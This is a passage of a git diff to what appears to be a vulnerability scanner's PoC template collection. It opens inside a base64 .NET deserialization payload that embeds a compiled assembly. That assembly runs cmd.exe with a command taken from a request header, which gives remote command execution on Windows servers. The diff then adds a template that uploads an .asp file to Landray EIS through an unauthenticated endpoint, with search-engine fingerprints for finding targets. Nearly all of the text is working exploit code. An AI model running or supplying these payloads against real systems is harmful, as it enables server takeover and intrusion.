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XV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AAAApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=","format": "3"} + expression: >- + response.status == 200 && response.body.bcontains(b"Windows IP 配置") && response.body.bcontains(b"以太网适配器") + +expression: r0() diff --git a/webscan/pocs/landary-eis-saveimg-fileupload.yaml b/webscan/pocs/landary-eis-saveimg-fileupload.yaml new file mode 100644 index 0000000..22f4b67 --- /dev/null +++ b/webscan/pocs/landary-eis-saveimg-fileupload.yaml @@ -0,0 +1,41 @@ +id: landray-eis-saveimg-fileupload + +info: + name: 蓝凌EIS智慧协同平台任意文件上传 + author: zan8in + severity: critical + verified: true + description: |- + fofa: icon_hash="953405444" + zoomeye: app:"蓝凌EIS智慧协同平台" + tags: landray,fileupload + created: 2023/10/18 + +set: + randstr: randomLowercase(10) + randbody: randomLowercase(32) + rboundary: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /eis/service/api.aspx?action=saveImg + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} + body: "\ + ------WebKitFormBoundary{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"file\"filename=\"{{randstr}}.asp\"\r\n\ + Content-Type: text/html\r\n\ + \r\n\ + {{randbody}}\r\n\ + ------WebKitFormBoundary{{rboundary}}--\r\n\ + " + expression: response.status == 200 && response.body.bcontains(b'/files/editor_img') + output: + filename: string(response.body) + r1: + request: + method: GET + path: /{{filename}} + expression: response.status == 200 && response.body.bcontains(bytes(randbody)) +expression: r0() && r1() diff --git a/webscan/pocs/landray-dataxml-jsp-rce.yaml 